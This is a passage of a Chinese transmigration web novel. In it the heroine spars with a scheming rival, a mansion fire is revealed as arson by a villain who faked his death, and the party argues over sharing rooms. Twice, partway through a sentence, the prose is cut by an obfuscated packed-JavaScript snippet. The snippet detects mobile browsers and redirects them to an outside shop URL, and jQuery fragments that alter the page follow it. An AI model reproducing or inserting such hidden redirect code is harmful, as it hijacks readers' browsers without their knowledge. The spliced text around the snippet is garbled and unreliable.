陆书雪挑衅的看着周春和,但是对上裴瑾之后,很快眼波一转,做出一副楚楚可怜的表情:“姐姐的语气怎么如此生硬,难道是我有哪里得罪了姐姐吗?姐姐看起来好像不是很喜欢我呢。” 又来了又来了,这个小绿茶的经典语录果然虽迟但到啊。 周春和故意做出一副疑惑的模样,上下打量了陆书雪一眼,忽然真诚一笑:“我没有不喜欢你啊,只是一晚上没见了,我有点好奇而已。” 陆书雪果然愣了愣,造作的笑容僵在脸上,好奇的问道:“好奇什么?” “怎么没之前那么丑了?” “……” 谢斯年忍不住扑哧笑出声,笑完之后,他眼角眉梢还带着少年独有的洋溢和快活,语气轻快:“我绞尽脑汁都想不出这么刻薄的话。这叫什么,坏人绞尽脑汁不如蠢人灵机一动?” 周春和看着谢斯年那存粹的笑容,忍不住愣了一下,于是想骂他的话便也不知不觉咽进了肚子里。 罢了罢了,难道能见到谢斯年笑得如此纯粹,就当是刚刚被狗舔了一口吧,她也不能真的再舔回去不是? 几个人说着话,外面忽然传来一阵凄惨的哭声。 等哭声近了,大家才看见一个年过花甲的老妪扶着一个正哭的上气不接下气的女子走了进来。 陆书雪见裴瑾一脸疑惑,便叹了口气,主动解释道:“这是王老爷的母亲和夫人,因着王老爷失踪了一天,如今生死未卜,她们两个便急了一天,这不,晌午刚哭过,现在又哭了起来。” 说完十分不忍心似的又拿出那条手帕试眼角,但周春和眼尖的看到她眼里不仅没有泪,反而有种幸灾乐祸的感觉。 果然又是一个腹黑配角啊,而且这朵花不仅是黑莲花,还是一个小绿茶——只是段位不太高就是了。 在某些情况下,其实陆书雪和谢斯年很像。他们的经历、性格、手段……乃至是行事风格做事方法都很像。陆书雪是个明显的结果导向型人格,按照书中对陆书雪为数不多的描写,周春和能看出来她本质是个冷漠无情的人。 只要能得到自己想要的结果,那么这个过程会多么的残暴、会有多么多无辜之人葬身她都毫不在意。谢斯年以天真少年掩饰自己心中的阴暗和残暴,陆书雪则用柔弱无骨隐藏自己骨子里的淡漠和杀伐果决。不过她与谢斯年不同的是,谢斯年虽然有时候表面看着是个冷血无情的人,但他骨子里是热的,即便是经历了这么多的不公,他内心深处依然对这个世界保有期待。他是外冷内热的那种性格。 陆书雪则完全是外热内冷,看似对谁都热情开朗,其实内心深处是对谁都漠不关心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668049|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不过……周春和不知道为什么想到了傅怀玉,忽然就觉得陆书雪这个特质倒是和傅怀玉挺像的。 她看书的时候,总觉得傅怀玉虽然看似对谁都温柔,但其实对待不在意的人时,他表面上再温和,实际上内心也是冷漠无情的。 谢斯年和傅怀玉,一个外冷内热,一个外热内冷,真真是南辕北辙的两个人。 而且与其说陆书雪是喜欢裴瑾,不如说是裴瑾是她接触过的所有人里最适合成为伴侣的那个,是她权衡利弊之下做出的一个最利于自己的选择,她在综合评估之下,觉得裴瑾是最适合的人选,所以她才会主动对裴瑾抛出橄榄枝,仅此而已。 只是因为恰好裴瑾是男主,所以陆书雪才成了女配。假如有比裴瑾更合适的人出现,那么陆书雪也会毫不犹豫的踹开裴瑾去找其他人。 周春和其实能理解陆书雪,毕竟她在那种环境之下还能平安长大,为了活命必须得做些不得不做的伪装。但是理解归理解,要是陆书雪胆敢觊觎裴瑾,那她是万万不能接受的。 涉及到自己的任务,周春和总是会在意一些。 陆书雪擦干眼角,又对大家歉然一笑:“真是抱歉,或许是我太多愁善感了,每当看见这种……唉,我都会忍不住……” 眼见裴瑾看着越来越佩服陆书雪的善心、周夏莲的表情越来越难看,周春和忍了又忍,实在是忍无可忍,终于忍不住出言打断道:“够了吧,陆姑娘,人家这副姿态是破碎感,你这副姿态可就是破烂感了啊。” 周夏莲实在是觉得周春和说话有点不中听,再怎么说陆书雪也是个小姑娘,但她也知道周春和是为了帮自己才说这些的,一时间又感动又无措,正准备扯扯周春和的袖子让她积点口德先别说了,谁知下一秒就听见陆书雪也像是忍了又忍实在是气急了才怼出来的话:“那你是什么?误食了六十岁大娘头巾的得意感?” 陆书雪说完就后悔了,下意识抬头看向裴瑾,果然看见裴瑾那震惊的表情,显然被陆书雪迅速转变的态度惊到了,于是一时间更加后悔自己的鲁莽。 怎么回事,之前就算是别人骂的再难听,她也能根据形势做出最利于自己的举动,今天怎么就这么堂而皇之的把心里话说出来了? 周春和浑然不觉,还在那里沾沾自喜,心说,哼,小小女配,拿捏!让你装,OOC了吧?在我面前还不是得露出自己的真面目? 不过谢斯年和傅怀玉倒是对陆书雪的反应没什么觉得奇怪的,毕竟哪怕陆书雪装的再好,她本质上也就是个小女孩,自然城府还没有那么深,在这两个人真正的老狐狸面前,她这个小狐狸一开始就露了馅。 陆书雪想为自己找补,但实在是又情绪上头的时候做不来柔弱姿态,于是便努力让自己的语气听起来柔软一点:“……周姑娘的心肠是什么做的?王老爷的老母亲和夫人如此伤心,你却还有心思在这里插科打诨,实在是有些过于冷血无情了些!” 周春和毫不在意地掏了掏耳朵,随口道:“那你还要我怎么样?加入她们一起哭,比比谁的哭声大、谁的哭声更绚丽多彩?” 陆书雪地表情僵了僵,又环顾众人,可谁知道周春和说了这么事不关己高高挂起的话之后,大家的反应都很平淡,似乎觉得周春和这种毫无怜悯之心的行为没什么不对的。 这个世道怎么了?陆书雪一时间有些恍惚,难道短短一夜过去,这个世界的变化就如此之大? 当然了,陆书雪之所以会这么想,完全是因为她没有经历过周春和他们经历的,所以自然也不知道王宽冬有多么的作恶多端、他的罪行多么的罄竹难书。如果她知道了,估计还会觉得周春和此刻骂的不够狠,非得自己亲自上阵打骂一场才好。 周春和停了停,犹嫌不够,哼了一声,破罐子破摔道:“要不这样吧,我娶了王老爷的老母亲,然后赡养王夫人,最后给他们的孩子养老送终,这样行了吗?这样陆小姐还有什么不满吗?” 陆书雪睁大眼睛,仿佛理解不了这些话周春和究竟是用哪个器官想出来的,表情第一次如此呆滞。 但周春和只是平淡的冷笑一声。哼,我mean由我不由天,跟我比你还差了点。 学着点吧,小兔崽子。 75. 枇杷府 直到夜深了,枇杷府的仆从们依然像是无头苍蝇似的各处寻找王宽冬 阴花渡的百姓很快也知道了这件事,也都纷纷自发的四处寻找王宽冬,可王宽冬的尸体在那密道之中,他们哪怕是把天翻过去也不可能找到。 如今百姓还不知道王宽冬的真面目,是以全都真心实意的替王宽冬着急。 而知道内情的几个人见大家被王宽冬骗得这么深,都仿佛吃了苍蝇一样难受,但却不能把真相广而告之,真真是无比难受。 周春和叹了口气,她觉得这个结果很诡异,有一种说不上来的、仿佛吃了一口螺狮粉味儿的巧克力被卡住了、吐出来才发现巧克力其实是裹着牛粪的课桌的感觉,就像赵匡胤在万圣节的时候忽然跑过去对李煜说不给唐就捣蛋一样诡异。 直到后半夜,原本闹哄哄的枇杷府才安静下来。 周春和累了一天了,早已经身心俱疲,躺在床上很快就睡着了。但隔壁房间的周夏莲却没睡,她还在考虑明日该怎么和大家解释这件事。如今王宽冬自刎在密道之中,除了他们没人知道真相,王宽冬又维持了这么多年的“老好人”形象,他大善人的姿态如今早已经深入人心。若是如今没有个什么事情再横空出现,他们贸然出头说破真相,百姓们肯定不会相信。 周夏莲叹了口气,一时间还真觉得有些头疼。 月上柳梢,枇杷府经历了混乱的一天之后,一切又终于重归寂静。 月光盈盈的照在院子里,地上有斑驳的树影,树枝在风中簌簌抖动,于是留在地上的各色各样的诡异光斑看起来就无比瘆人。 在寂静之中,一个身影紧贴着枇杷树从抱厦之中走了出来,几乎与夜色融为一体的人影谨慎的检查完周边,确定四下无人之后,便悄无声息的往密道的方向去了。 · 第二天,周春和一大早就被外面的嘈杂声惊醒了,原来是王夫人和王老夫人天不亮就又派家仆去找王宽冬的动静。这动静实在是太大,周春和想睡回笼觉都睡不成,只好恹恹地起来了。 其他人也都被吵醒了,周夏莲揉着眼睛走出来,看起来有些疲倦的模样,显然昨晚没有睡好。 周春和看着外面哄乱的众人,心知这顿饭是在府里吃不成了,于是叹了口气,转头和大家说:“如今这场闹剧不知还要到什么时候,在这里也是被闹得头晕,还只能帮倒忙,不如咱们出去吃饭吧,顺便还能避人耳目,商议一下怎么和百姓们解释这件事。” 如今府中人多眼杂,确实不是个商议事情的好场所,大家一致同意周春和的提议,于是趁着混乱悄悄从后门溜了出去。 离枇杷府不远的地方就有一家饭馆,几个人找了个包间,随便让小二上了点东西,然后便说起枇杷府的事情来。 周夏莲忧心忡忡道:“唉,虽然王宽冬死了,但眼下还有一大摊子事情要做。那阴阳城的事情也没找到一点线索,这边就又添了新的谜团……而且补天石虽然有了点着落,但最重要的主石部分依然杳无音讯……” 裴瑾也觉得心头有一桩桩事情压着,情绪低迷起来,一时间饭桌上气氛就有些沉闷。 大家都没什么胃口,草草的吃了两口,便准备商议接下来要做什么。 谁知周夏莲还没有起头,外面忽然传来一阵嘈杂声,离窗户最近的周春和隐约听见了几声“走水了,快来救火啊”之类的话。 她有些奇怪的举目远眺,只见不远处确实冒出滚滚浓烟,看位置似乎还是枇杷府的方向。 周春和没当回事,只是心不在焉的随口说道:“这是谁家走水了?但愿别伤到人才好。” 大家都没有在意,坐在桌子便准备继续商议枇杷府的事情。 裴瑾因叹道:“只是这个王宽冬实在是有些奇怪,明明是银环山的唯一继承人,却对银环山的事情一无所知,就好像是……好像是……” 周夏莲叹了口气,替裴瑾说了接下来的话:“就好像是被人假冒的一样……” 大家纷纷叹了口气,一时间都觉得没什么头绪。 就在这时候,外面的嘈杂声又响了起来,夹杂几声惊呼和马蹄散乱声。周春和听着外面的动静,总觉得有些心神不宁,她神差鬼使的回了头,越看越觉得起火的地方很眼熟。 就在这时候,街上传来一声尖利叫声:“快帮忙打水!枇杷府着火了!” 周春和脸色剧变,其他人显然也听见了,纷纷变了脸色。 周夏莲霍的一下站起来,拿起剑就准备冲出去:“不好,是枇杷府出事了。走,我们快去看看!” 周夏莲匆忙带着大家直奔枇杷府,穿过混乱的人群和打水救火的百姓,几个人很快在枇杷府前停下了。 着火的确实是枇杷府,毕竟此刻偌大的枇杷府已经快要全部燃为灰烬。 滚滚浓烟冒起来,因为周围的人齐心协力端水救火,再加上枇杷府周围没有其他建筑,所以火势才勉强被控制住了。 周夏莲一把抓住一个满头大汗的百姓,急匆匆的问道:“里面的人呢?” 那百姓正提着空桶准备去打水,闻言也只来得及匆忙解释两句:“全死啦!大门从外面锁上了,那火势自最里面蔓延出来,里面的人根本无处可躲。府中树又多,等发现的时候,火势已经控制不了!” 那人说完,又匆匆拿着木桶离开了。 周夏莲愣愣的站在原地,仿佛有些难以置信。 傅怀玉脸上的笑容已经消失不见,但依然无比冷静。他语气镇定,迅速分析了一下眼下的局势:“不对劲,从有人发现这里着火到咱们赶过来不过一盏茶的工夫,正常起火——哪怕是院中有这么多枇杷树——也不应该这么快就将偌大的府邸烧的一干二净。” 谢斯年动了动嘴唇,冷笑一声:“是有人故意为之,这府中一定是有什么秘密,放火之人借着这场大火将里面的东西全部销毁了。刚刚那人说有人从外面把人锁上了这才导致里面的人全部葬身火海……只是不知做下这一切的人究竟是谁,又究竟是有什么目的。” 周春和闻言忍不住吃了一惊,越想越觉得后怕,倘若不是他们一时兴起想要出来商议这些事情,那么此刻葬身火海的也有他们一份了。 周春和胆战心惊,根本不敢回想。 周夏莲显然和周春和想到了一起,一时间脸色变得有些苍白,她勉强道:“幸好我们听了春和的话出来了,否则……” 就在气氛低沉时,一道略显熟悉的声音忽然从一旁的犄角旮旯里传了出来:“……裴大哥?裴大哥!真的是你,原来你没死!” 大家齐齐看过去,就见原来是灰头土脸的陆书雪不知道从哪个角落里钻了出来,一见到他们,陆书雪眼泪便如同断了线的珠子往下掉。 大家没想到竟然还有人能活着从枇杷府的这场大火里出来,一时间又惊讶又奇怪:“陆姑娘?你没事吧?” 陆书雪显然是被吓到了,抽抽嗒嗒的回答:“我没事……” 谢斯年皱了皱眉,语气带着满满的怀疑,表情便有些严肃,用审视的语气缓缓问陆书雪:“枇杷府的门全部被人从外面锁上了,陆姑娘是如何从府里逃出来的?” 不等陆书雪回答,傅怀玉又淡淡的补充道:“……陆姑娘的那些同伴又去了哪里?” 陆书雪抹了一把眼泪,抬起头的时候,表情在转瞬之间便由阴沉变成了委屈,没人注意到她这一瞬间的表情变化,只能看见她楚楚可怜的表情:“我……我也不知道,刚刚起火的时候,我和他们走散了,后来我在慌乱之下找到了一个狗洞,这才从府里爬了出来。后来我在外面叫他们赶紧出来,他们却为了争第一个出来在洞内打了起来,根本不听我的劝阻,我想找人去帮忙,可谁知道最后火势越来越大,他们反而谁也没有挣脱……” 大家面面相觑,不知道有没有相信陆书雪的话,但周春和却忍不住在心里翻了个大大的白眼。 或许陆书雪真的是如她所说在机缘巧合之下找到了一个狗洞逃了出来,但周春和却不信她真的和门派的弟子走散了,更不相信她喊过那些人。 陆书雪这人心机深沉,城府又深,她最擅长的就是借着一切可以借用的机会达到自己的目的。 与她同来的那些同门师兄弟从她小的时候便迫害她、霸凌她,她为了自保,表面上装得柔弱无骨,看似毫无心 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为了确保能彻底杀掉那些伤害过她的人,她也没有告诉那些无辜之人狗洞的位置,就这么看着一把熊熊烈火将所有的痕迹全部烧掉。 等府中所有人都葬身火海,她便可以肆无忌惮的找借口为自己解释。 就像是现在,其他人已经死无对证,所以即使大家心里有疑惑,也没办法找到真相了。 忙碌了一上午,大火终于彻底熄灭了。整个枇杷府已经化为灰烬,原本矗立着房子的地方如今成了烧焦的木头和灰尘。 周春和等余烬的温度不那么高了,便想去废墟里瞧瞧,说不定还能找到什么线索。 她回头招呼其他人,问他们打不打算进去,同时自言自语似的嘀咕起来:“奇也怪哉,究竟是谁一把火烧了枇杷府?在这个关头,这一把火烧的也太是时候了。那王宽冬的尸体还在密道之中,也不知道火有没有烧进地下室,我还想看看王宽冬的尸体上找找线索呢,若真是烧进去了,到时候把尸体烧的面目全非,那上哪儿找线索去?别说找不到线索,就是把几具烧焦的尸体放在我面前,我连能不能找到哪具尸体是王宽冬的都不一定……” 原本周春和只是无心的自语,可在她身侧谢斯年一字不漏的听见了她的嘀咕,再一细想,脸色忽然变了。 他抬起头,和正对面的傅怀玉对上视线,他从傅怀玉的眼睛里同样也看出来了异样的情绪,于是立刻意识到了什么,他几乎和傅怀玉同时开了口:“王宽冬!” 只见谢斯年表情骤变,傅怀玉虽然依然带着笑容,可是眼神也已经变得冷冽。 其余三人被他们反常的情绪吓了一跳,裴瑾意识到了什么,表情变得严肃起来:“怎么了?你们可是发现了什么?” “……这把火就是王宽冬放的,王宽冬没死!” 周夏莲脸色顿时大变,一脸骇然:“这是什么意思?” “昨日死在密道之中的不是王宽冬,而是他为了自保,替自己找了个直面各方危险的‘替身’,这个替身易容成王宽冬的模样,几乎可以以假乱真。这样若是出了什么事——例如昨晚——那么死的就是这个替身,而王宽冬本人依然可以好好活着,甚至还可以摆脱‘王宽冬’这个身份更加自由的活着……原本我一直想不通为什么王宽冬作为银环山唯一的弟子却不知道银环针,现在我知道原因了,因为那天和我们谈话的,根本就不是真正的王宽冬!今日这把火更让我确定了这个猜想——既然密道里的‘王宽冬’是假的,那必须要把假的王宽冬彻底抹杀掉,只有这样才不会让人发现端倪。我猜这把火就是真正的王宽冬放的,目的就是将所有知情人全部杀掉,这样哪怕到时候有人追究起来,大火湮灭了所有证据,甚至连假的王宽冬都烧的一干二净,后来的人也不可能再找到真相了。” 这个猜想实在是有点可怕,周春和张大嘴巴,半天缓不过来。 周夏莲倒是很快反应过来,她镇定的问道:“……那真正的王宽冬去了哪里?” 傅怀玉眯了眯眼睛,很快露出一个笑,他垂下眼睫毛,语气平淡:“那便就只有王宽冬的幕后主使和王宽冬本人知道了。” 76. 陆书雪 这一场大火究竟是怎么烧起来的,阴花渡的百姓众说纷纭,但谁也找不出真相,这件事最后也就不了了之了。 这对周夏莲他们来说虽然不算是个好消息,但起码有一点对他们来说是有利的,那就是枇杷府化为灰烬之后,百姓们也就默认王宽冬也随着枇杷府众人一起死在了那场火灾里。这起码让周夏莲不用再去思考该怎么和大家解释王宽冬失踪的事情。 火烧完之后的晚上,周夏莲和裴瑾趁着没人时曾偷偷溜去过枇杷府。那密道果然如谢斯年和傅怀玉推测的那般也被烧的一干二净,而且甚至这密道便是起火的源头。 里面那个假的王宽冬的尸体早已化为齑粉,这也从侧面佐证了谢斯年的推断是正确的,死的是假的王宽冬,而真正的王宽冬早已不知所踪。而且两人还在枇杷府被火烧尽之后的残骸里发现路很多油桶和一些已经残缺不堪的符阵,这些大阵几乎都是用来引火的。 这场大火确实不是偶然,是有人刻意点燃的,目的就是为了能将有关的人全部烧死。 若不是那日他们恰好离开,周夏莲简直不敢想他们当时会不会也绝望的葬身火海。 起火事件显然弊大于利,枇杷府被烧之后,就意味着他们失去了一个重要的线索来源,阴阳城留下的那个信封也就再无头绪了。而且除了这个,还有一件事令他们头疼,那就是陆书雪。 陆书雪的同门师兄弟全死在了火海里,如今门派是回不去了,可她也不能一个人自立门户——她刚下山历练还没有一个月,正是最没有经验最脆弱的时候,若是一个人出来猎妖,可能还没撑一个月便被稍稍厉害的大妖打死了。她不想孤身一人,于是自然而然地就把目光放在了除了那些同门师兄弟之外、与她最熟的裴瑾身上了。 周春和一口银牙都快咬碎了,但却对陆书雪要加入他们这件事束手无策。 她虽然痛恨陆书雪是自己攻略之路上的绊脚石,但她也真做不来狠心看陆书雪死在怪物手底下的事情。连她自认为比较利己的人都做不出来这等事情,周夏莲就更做不出来了。 谢斯年虽然不愿意,但他的意见向来不占太多比重,傅怀玉又是个后来加入的“外人”,而且他平常大多数时候都是温和的倾听别人的意见,自己很少发表什么想法,对于这件事自然也不会左右大家的决定。 所以说白了,这件事还是看周夏莲和裴瑾的想法,而周夏莲那不忍心的态度已经说明了一切。裴瑾一向会迁就周夏莲,再说了,他和周夏莲一样,也是那种心怀大义可以为了百姓舍生取义、宁教天下人负我不教我负天下人的光明磊落性格,自然也没办法狠心让陆书雪滚蛋。 于是最后陆书雪就这么在周春和不情不愿却又无可奈何中加入了他们原本就摇摇欲坠的大家庭。 周春和吃饭的时候都在咬牙切齿,好啊你这个绿茶小女配,没想到最后还真让你如愿了! 不过周春和也知道这只是权宜之计,她心里有个小账本,等以后找到了机会可以让陆书雪加入其他队伍,又或者是看着陆书雪差不多可以独自行走江湖的时候,便立刻将她踹开!总之一句话,只要周春和能找到机会,一定会在不威胁陆书雪身体安全的情况下第一时间把陆书雪甩开,还周夏莲和裴瑾一个存粹无暇的恋爱环境! 至于这几天,就只能咬着牙硬忍过去了。 不过! 周春和郁闷过后,又很快自信起来,她对自己的实力还是无比自信的,她心想,有自己在,就绝对不会让陆书雪在阿姐和裴瑾之间挑拨离间,她会将一些有可能阻碍男女主只见相亲相爱的苗头掐灭在摇篮里! 这么一想,周春和的心情才稍稍变好了一点。 于是原本五个人的队伍又扩充了一个人,六个人简单收拾了行李,准备出发前往下一站。 因为王宽冬如今下落未明,阴阳城这条线索算是断了,但是城中的那些无魂人还需要补天石救命,大家没时间再深究枇杷府的时间,便打算接下来先去找补天石残片。 傅怀玉拿出许久未用的灵司南,见上面指向了东南方,于是大家休整了一个中午,便继续赶路了。 刚一出阴花渡,系统欢快的声音便在周春和的脑海里响了起来:“叮咚——宿主好久不见了嘿嘿,这次我是来恭喜你的,上个强制性任务已经圆满完成了哦,宿主你果然还是一如既往的虎虎生威!小系统膜拜膜拜你!” “……少玩这些过时的烂梗,”周春和无语道,“还有,虎虎生威是这么个用法?” 系统不在意道:“哎呀,不要在意这些小事啦。嘿嘿,不过宿主,你不觉得你们六个人排成一长串一起走的这个样子很有一种岁月静好的感觉吗?就像是电视剧里那些完成了所有危险的任务之后,终于迎来了大结局,然后迎着美好的落日一起笑闹着并肩往前走的感觉?” 周春和一想起多出来的那个人就觉得糟心,如今听系统还满怀憧憬似的这么说,再一想到自己未来多出来的那些工作量,于是更加觉得糟心,连装一装笑容都做不到:“……是有种岁月乱好的感觉吧。” 系统又“嘿嘿”笑了笑,仿佛能理解周春和的焦虑,又说:“好了宿主,你就别想这件事了,反正该来的总会来的……对了,你有没有发现一件很重要的事情?” 周春和还真以为系统要给自己分享什么线索,语气难得有了些起伏,狐疑道:“什么?难道是关于……” 她还没说完,系统就喜气洋洋的回答:“你没发现你们六个人正好是三个男生和三个女生吗?陆书雪加入之后,你们这个队伍的男女就平衡了呢!” “……” 周春和顿时连破口大骂的力气都没有了,冷笑一声,阴阳怪气道:“哇,这都被你发现了?这个发现虽是你个人一小步,却是书中世界的原地踏步。你简直就是你们系统界冉冉升起的一团屁啊!” 系统:“……” 周春和再一回想,依然觉得自己仿佛被系统追着喂了一口屎,而她甚至还是在满面笑容的一脸期待的情况下主动把屎端了过来吃了下去……周春和面无表情的喃喃自语:“……我真的在从枇杷府里死里逃生了吗?……我真的从阴花渡活下来了吗?” 她有些怀疑自己是不是已经死了,要不然为什么总是接触到一些很阴间的东西? 这个破系统简直仗着周春和没办法把手伸进脑子里打它,于是有恃无恐的把语言当春药,隔着虚拟和实体这层界限侵犯周春和的耳朵和大脑。 她真操了。 不过系统播报完毕之后便非常有眼力见的隐身了,据它自己说它非常的忙,所以时间非常宝贵,没办法分给周春和太多的时间拌嘴。虽然周春和到现在为止也不知道系统在忙什么,但系统就是给人一种乱忙的感觉,就像周春和的人生一样。 几个人往东南方走,这次不知道要在路上耽搁多久,所以大家在沿路在有客栈饭店的地方买了许多干粮备着,以防路上荒无人烟的地方居多,他们没处买饭。 到了晚上,几个人来到了一个名叫红豆镇的地方,暂时在此处歇息一晚。 镇上只有一家小客栈,而且没什么人,于是他们便要了几间房。 他们一共六个人,若是一人一间也太浪费了,于是商议之后,他们便决定要三间房。 但交完钱之后,他们在如何分配房间一事上犯了难。 陆书雪的意思很明显,也几乎是毫不掩饰——她想和裴瑾一间房,并且理直气壮:“我只和裴大哥相熟,而且裴大哥这么厉害,定能保护我,我一介弱女子,自然希望在可靠的人身边了。” 这番话暗戳戳的显示了自己的小鸟依人以及自己对裴瑾的崇拜和依赖,若是换作其他男人,估计早已经被陆书雪这番话哄的晕头转向了,但裴瑾不愧是裴瑾,眼里没有自己陆书雪如此依赖自己的得意和骄傲,只有不解和奇怪:“陆姑娘,那你真是看错人了。我不一定能保护你,以往有事的时候,我都和阿莲并肩作战,有时候常常是她保护我。既然你需要人保护,那应该找阿莲才是。” “……?” 陆书雪茫然的看着裴瑾,裴瑾想到了什么,继续笑道:“至于你说什么熟不熟的,我与你并没有很熟啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678749|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而且关系都是处出来的,今晚不如你就和阿莲一起睡吧,还能拉近关系。” 裴瑾越说越觉得自己的想法绝妙,不仅微微笑起来,同时还有些遗憾——不过就是可惜了他要和周夏莲分开几晚了。 周春和在一旁听的都快笑倒过去了,周夏莲原本还有些不太舒服,但是听了裴瑾那绝对是发自肺腑的话之后,也忍不住跟着乐了。 陆书雪的面色有些不太好看,但眼珠子转了转,很快就又笑着开了口:“裴大哥说的也有理,只是上次你教我的那个符咒我还不。我记得你说过这个符咒阿莲姐姐也还没有学,所以阿莲姐姐应该教不了我了,只有裴大哥你可以教我。明日咱们一早就要起床赶路,我不想到时候耽搁大家的时间,不如今晚我与裴大哥住一起,这样就可以麻烦裴大哥教我符咒了,怎么样?” 见裴瑾面露不愿的神色,陆书雪乘胜追击,又楚楚可怜的说道:“裴大哥声名远扬,应该不会说话不算话吧?” 陆书雪的这番话等于把裴瑾架在火上烤,裴瑾答应也不是,不答应也不是,一时间有些犯了难。 周夏莲的脸色有些难看。裴瑾知道自己不该失信于人,可他实在是不知道要说什么才能拒绝。 三人这副局面看着周春和直窝火,她正要开口说话,白日里刚出现过的系统此刻又叮的一声上线了:“叮咚——宿主,福利性任务已触发,这次您依然可以选择接受,也可以选择拒绝。请问要接受任务吗?” 周春和正着急上火,想要赶紧与陆书雪大战三百回合,所以语气不免就有些急躁:“什么任务?” “任务就是——今晚和陆书雪住同一间房。您选择接受还是拒绝?” “……?” 周春和急切的动作停住了,表情也变得有些梦幻起来,原本急哄哄的心情也神奇的平复下来。 她脸上仿佛带了一层神性的朦胧光彩,露出了一个充满慈爱光辉的笑,系统看不懂这笑容,但依然感觉到了瘆人。它结结巴巴的说:“宿主,你这是什么表情?你别吓我啊宿主!” 周春和慈爱的笑了一声,在脑子里自言自语:“好啊你个陆书雪,我倒是没想到还能这样搞,这个系统倒是给我提供了一种新思路,之前还一直在犹豫能不能让陆书雪和我阿姐一个房间,但我又不愿意让她膈应阿姐,如今怎么把这个办法给忘了?——我和陆书雪在一个房间,看谁膈应谁!” 想完之后,她立刻和系统说:“我接了!” 哪怕是没有奖励,她也愿意接下这个任务。周春和没有哪一刻比现在更觉得原来完成任务是一件如此美妙的事情。只要能让陆书雪的坏主意落空,让她犁十里地她也愿意。 以后这样的任务多多来点行吗? 周春和接下了任务,两人的对话也不过是在短短一瞬间发生的。等周春和回过神,就发现裴瑾正迟疑间,谢斯年已经似笑非笑的开了口:“画个符而已,费不了多少时间。若是陆姑娘诚心想学,我教你便是了。裴大哥把他所有会画的符都教过我,不知陆姑娘想学哪个?今晚我亲自教你。” 陆书雪看着谢斯年脸上的笑,忽然觉得那笑容有些恐惧。谢斯年虽然平常看起来很开朗热情,但陆书雪向来比其他人更加敏锐,她了解谢斯年藏在热情之下的那双阴冷的眸子,比如说现在,大家都对谢斯年不悦的情绪毫无所知,但她却能清晰的感觉到谢斯年的威胁。 她后背冒出了点汗,一时间竟然不知道该怎么回答。 对陆书雪来说,不论是裴瑾还是周春和,甚至是周夏莲都不算是什么威胁。她能很轻易看穿这几个人的真正性格,裴瑾虽然对感情一事一窍不通,不知道自己做什么会惹周夏莲难过、做什么会让周夏莲开心。但他心怀大义,所以只要陆书雪用道德枷锁压一压他,不愁裴瑾不会缴械投降。 至于周春和和周夏莲这两姐妹,则是非常明显的看似凶狠有原则,实则心软的要命,心思几乎全部写在了脸上,随便卖卖惨也就能直接拿下。 她完全没把这三个人放在眼里,让她真的觉得有威胁的,是谢斯年和傅怀玉。 77. 时间回溯卡 和裴瑾的光明磊落、心思直白不同。谢斯年这人心思深沉,若是想要隐瞒,谁也不能从他的表情中看出他在想什么。而且他的坏是直接坏进了骨子里面,他虽然表面上笑嘻嘻的,浑身上下少年感十足,看起来天真单纯、柔弱可欺,但实际上在笑嘻嘻的表面之下,是残忍冷漠和睚眦必报的焉坏性格。 陆书雪不敢得罪谢斯年,因为她总觉得如果她哪天不小心得罪了谢斯年,这人虽然明面上不会表现什么,但背地里他绝对会让陆书雪十倍百倍的还回来。而她现在还没有能力与之抗衡,在比不过别人的时候,最好的做法就是先韬光养晦,等最后再给予对手致命一击。 至于傅怀玉……陆书雪觉得他可怕,是因为虽然傅怀玉虽然看着总是笑眯眯的,好像对什么都很宽容、都不是很在意的模样,甚至等闲时连话都不怎么说,也很少发表什么意见,但内里却是个强硬冷漠的人。 他之所以看似温柔,仅仅只是因为他不在意而已。 因为不在乎,所以对万事万物全部一视同仁。但不在意不代表他没有手段,若是得罪了他,虽然陆书雪想象不出来这样看起温润如玉的公子会用什么残忍的手段,但她的直觉告诉她,傅怀玉绝对不会像是表面上看起来那么的温柔,他绝对也会毫不留情的对付让他不满之人。 陆书雪的心思转瞬之间便闪过千万,就在她一时间不知道该怎么回答时,已经和系统结束对话的周春和干脆的开了口:“好了,都别争了,要不然这样吧,陆姑娘和我住一起,阿姐和裴大哥在一起。这样大家还有异议吗?毕竟阿姐和裴大哥一直都住在一起,如今住在一起也更习惯些,而且裴大哥一看就更想和我阿姐在一起,旁人就不要再指手画脚了,免得自讨没趣。” 周春和刻意加重了“一直住在一起”这几个字,果然看见陆书雪的表情一变再变,装出来的楚楚可怜几乎快要破功。 她十分得意,觉得自己在打嘴仗这件事上扳回了一城。 陆书雪自然不愿意和周春和住一起,但她对上谢斯年的目光,千言万语都咽进了肚子里。 她虽然想和裴瑾住在一起,但是眼下看来,若是她铁了心这样做,那么谢斯年便会想尽法子让她和自己住一起。看谢斯年现在的模样,他虽然明面上不会做什么,但私底下绝对不会放过她。 到时候若是她真和谢斯年住在一起了,事情就没有转圜的余地了。 而且她毕竟初来乍到,这些人显然大部分都会向着谢斯年,到时候她吃不了兜着走,不仅没有办法在这里站住脚,甚至很有可能直接被抛弃。 她的前半生都是在被一次又一次的抛弃中度过,所以这一次她不会让自己再一次被抛弃。 最后也是最重要的一点就是,确实如周春和所说,裴瑾的态度几乎已经表明了他想和周夏莲住在一起,就连裴瑾本人都不愿意,那她还拿什么来争呢? 